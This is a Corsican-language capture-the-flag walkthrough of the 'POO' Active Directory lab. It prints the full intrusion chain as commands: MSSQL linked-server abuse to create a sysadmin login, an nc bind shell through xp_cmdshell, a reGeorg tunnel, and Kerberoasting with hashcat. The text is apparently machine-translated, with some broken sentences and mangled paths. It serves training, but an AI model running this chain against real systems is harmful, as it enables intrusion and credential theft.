In questu articulu, analizzeremu u passaghju di micca solu una macchina, ma un mini-laboratoriu tutale da u situ
Cum'è dichjaratu in a descrizzione, POO hè pensatu per pruvà e cumpetenze in tutte e tappe di attacchi in un picculu ambiente Active Directory. L'obiettivu hè di cumprumette un òspite dispunibule, scalate i privilegii, è eventualmente cumprumette tuttu u duminiu cullendu 5 bandiere in u prucessu.
A cunnessione à u laboratoriu hè via VPN. Hè cunsigliatu di ùn cunnette micca da un computer di travagliu o da un òspite induve ci sò dati impurtanti per voi, postu chì entra in una reta privata cù e persone chì sanu qualcosa di a sicurità di l'infurmazioni 🙂
infurmazione urganisazione
Cusì chì pudete scopre nantu à novi articuli, software è altre informazioni, aghju creatu
Tutte l'infurmazioni sò furnite solu per scopi educativi. L'autore di stu documentu ùn assume micca rispunsabilità per qualsiasi dannu causatu à qualcunu in u risultatu di l'usu di a cunniscenza è di i metudi ottenuti da u studiu di stu documentu.
ghjuventù
Stu endgame hè custituitu da duie macchine è cuntene 5 bandiere.
A descrizzione è l'indirizzu di l'ospitu dispunibule hè ancu datu.
Cumminciamu!
Bandiera di ricunniscenza
Sta macchina hà un indirizzu IP di 10.13.38.11 chì aghju aghjunghje à /etc/hosts.
10.13.38.11 poo.htb
U primu passu hè di scansà i porti aperti. Siccomu ci vole assai tempu per scansà tutti i porti cù nmap, prima faraghju cù masscan. Scannemu tutti i porti TCP è UDP da l'interfaccia tun0 à 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Avà, per avè infurmazione più dettagliata nantu à i servizii chì currenu nantu à i porti, eseguite una scansione cù l'opzione -A.
nmap -A poo.htb -p80,1433
Cusì, avemu servizii IIS è MSSQL. In questu casu, truveremu u veru nome DNS di u duminiu è l'urdinatore. In u servitore web, simu salutati da a pagina di casa IIS.
Iteremu nantu à i cartulari. Aduprà gobuster per questu. In i paràmetri specifiemu u numeru di flussi 128 (-t), URL (-u), dizziunariu (-w) è estensioni chì ci interessanu (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Cusì, avemu l'autentificazione HTTP per u repertoriu /admin, è ancu u schedariu d'almacenamiento di u serviziu di scrittura .DS_Store dispunibule. .DS_Store sò schedarii chì guardanu i paràmetri di l'utilizatori per un cartulare, cum'è una lista di i schedari, u locu di l'icona, l'imaghjini di fondo selezziunati. Un tali schedariu pò finisce in u repertoriu di u servitore web di sviluppatori web. Cusì, avemu infurmazione nantu à u cuntenutu di u cartulare. Per questu pudete aduprà
python3 dsstore_crawler.py -i http://poo.htb/
Avemu u cuntenutu di u cartulare. A cosa più interessante quì hè u repertoriu /dev, da quale pudemu vede e fonti è i fugliali db in dui rami. Ma pudemu usà i primi 6 caratteri di nomi di file è di repertoriu se u serviziu hè vulnerabile à IIS ShortName. Pudete cuntrollà sta vulnerabilità usendu
È truvamu un schedariu di testu chì principia cù "poo_co". Ùn sapendu chì fà dopu, aghju sceltu solu da u dizziunariu di i cartulari tutte e parolle chì cumincianu cù "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
È iterate cù wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
È truvate a parolla ghjusta! Fighjemu stu schedariu, salvà i credenziali (a ghjudicà da u paràmetru DBNAME, sò da MSSQL).
Trasmettemu a bandiera, è avemu avanzatu da 20%.
Eh bandiera
Cunnettamu à MSSQL, aghju utilizatu DBeaver.
Ùn truvamu nunda di interessante in questa basa di dati, creemu un Editor SQL è verificate ciò chì l'utilizatori sò.
SELECT name FROM master..syslogins;
Avemu dui utilizatori. Cuntrollamu i nostri privilegi.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Cusì, ùn ci sò micca privilegi. Videmu i servitori ligati, aghju scrittu annantu à sta tecnica in detail
SELECT * FROM master..sysservers;
Allora truvamu un altru SQL Server. Cuntrollamu l'esekzione di cumandamenti nantu à stu servitore usendu openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
È pudemu ancu custruisce un arbre di quistione.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
U fattu hè chì quandu facemu una dumanda à un servitore ligatu, a dumanda hè eseguita in u cuntestu di un altru utilizatore! Videmu quale cuntestu di l'utilizatori simu in u servitore ligatu.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
È avà vedemu in quale cuntestu hè eseguita a dumanda da u servitore ligatu à u nostru !
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Cusì, hè un cuntestu DBO chì deve avè tutti i privilegi. Cuntrollamu i privilegi in casu di una dumanda da un servitore ligatu.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Comu pudete vede, avemu tutti i privilegi ! Creemu u nostru amministratore cusì. Ma ùn li lascianu micca attraversu l'openquery, facemu per EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
È avà cunnettamu cù e credenziali di u novu utilizatore, osservate a nova basa di dati di bandiera.
Rendemu sta bandiera è andemu più in là.
Bandiera in daretu
Facemu a cunchiglia cù MSSQL, aghju utilizatu mssqlclient da u pacchettu impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Avemu bisognu di ottene password, è a prima cosa chì avemu digià scontru hè u situ. Cusì, avemu bisognu di una cunfigurazione di u servitore web (hè impussibile di scaccià una cunchiglia còmuda, apparentemente u firewall hè travagliatu).
Ma l'accessu hè denegatu. Ancu s'è pudemu leghje u schedariu da MSSQL, avemu solu bisognu di sapè chì linguaggi di prugrammazione sò cunfigurati. È in u repertoriu MSSQL scopremu chì ci hè Python.
Allora ùn ci hè micca prublema per leghje u schedariu web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Cù i credenziali truvati, andate à / admin è pigliate a bandiera.
bandiera d'appoghju
In fatti, ci sò qualchi inconvenienze da l'usu di un firewall, ma guardendu i paràmetri di a rete, avemu nutatu chì u protocolu IPv6 hè ancu usatu!
Aghjunghjite stu indirizzu à /etc/hosts.
dead:babe::1001 poo6.htb
Scannà l'ospitu di novu, ma sta volta sopra IPv6.
È u serviziu WinRM hè dispunibule nantu à IPv6. Cunnettamu cù i credenziali truvati.
Ci hè una bandiera nantu à u desktop, trasmette.
Bandiera P00ned
Dopu à ricunniscenza nantu à l'ospiti cù
setspn.exe -T intranet.poo -Q */*
Eseguimu u cumandimu via MSSQL.
In questu modu, avemu u SPN di l'utilizatori p00_hr è p00_adm, chì significa chì sò vulnerabili à un attaccu cum'è Kerberoasting. In corta, pudemu avè l'hash di e so password.
Prima avete bisognu di ottene una shell stabile in nome di l'utilizatore MSSQL. Ma postu chì simu limitati in accessu, avemu una cunnessione cù l'ospitu solu per i porti 80 è 1433. Ma hè pussibule di tunnellà u trafficu attraversu u portu 80! Per questu avemu aduprà
Ma quandu avemu pruvatu à accede, avemu un errore 404. Questu significa chì i schedari *.aspx ùn sò micca eseguiti. Per fà i fugliali cù queste estensioni, installate ASP.NET 4.5 cum'è seguita.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
È avà, quandu accede à tunnel.aspx, avemu a risposta chì tuttu hè prontu per andà.
Cuminciamu a parte di u cliente di l'applicazione, chì trasmette u trafficu. Trasmetteremu tuttu u trafficu da u portu 5432 à u servitore.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
E usemu proxychains per mandà u trafficu di qualsiasi applicazione attraversu u nostru proxy. Aghjunghjemu stu proxy à u schedariu di cunfigurazione /etc/proxychains.conf.
Avà carichemu u prugramma à u servitore
Avà, attraversu MSSQL, lanciamu u listener.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
È cunnettamu attraversu u nostru proxy.
proxychains rlwrap nc poo.htb 4321
È pigliamu i hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
In seguitu, avete bisognu di iterate nantu à questi hashes. Siccomu rockyou ùn avia micca un dizziunariu di dati di password, aghju utilizatu TUTTI i dizionari di password furniti in Seclists. Per l'enumerazione usemu hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
È truvamu e duie password, u primu in u dizziunariu dutch_passwordlist.txt, è u sicondu in Keyboard-Combinations.txt.
È cusì avemu trè utilizatori, andemu à u controller di duminiu. Scupritemu prima u so indirizzu.
Grande, avemu amparatu l'indirizzu IP di u controller di duminiu. Scupritemu tutti l'utilizatori di u duminiu, è ancu quale di elli hè un amministratore. Per scaricà u script per uttene infurmazione PowerView.ps1. Allora avemu da cunnette cù evil-winrm, specificendu u cartulare cù u script in u paràmetru -s. E poi caricate u script PowerView.
Avà avemu accessu à tutte e so funzioni. L'utilizatore p00_adm s'assumiglia à un utilizatore privilegiatu, cusì avemu da travaglià in u so cuntestu. Creemu un oggettu PSCredential per questu utilizatore.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Avà tutti i cumandamenti di Powershell induve specifiemu Creds seranu eseguiti in nome di p00_adm. Fighjemu una lista di l'utilizatori è l'attributu AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
È cusì, u nostru utilizatore hè veramente privilegiatu. Videmu à quali gruppi appartene.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Infine cunfirmemu chì l'utilizatore hè un amministratore di duminiu. Questu li dà u dirittu di accede remotamente à u controller di duminiu. Pruvemu di login cù WinRM usendu u nostru tunnel. Eru cunfusu da l'errori emessi da reGeorg quandu si usa evil-winrm.
Allora usemu un altru, più faciule,
Pruvemu di cunnette, è simu in u sistema.
Ma ùn ci hè micca bandiera. Allora fighjate à l'utilizatore è verificate i desktop.
À mr3ks truvamu a bandiera è u laboratoriu hè cumpletu à 100%.
Eccu tuttu. Cum'è feedback, cummentate se avete amparatu qualcosa di novu da questu articulu è s'ellu era utile per voi.
Pudete unisce à noi à
Source: www.habr.com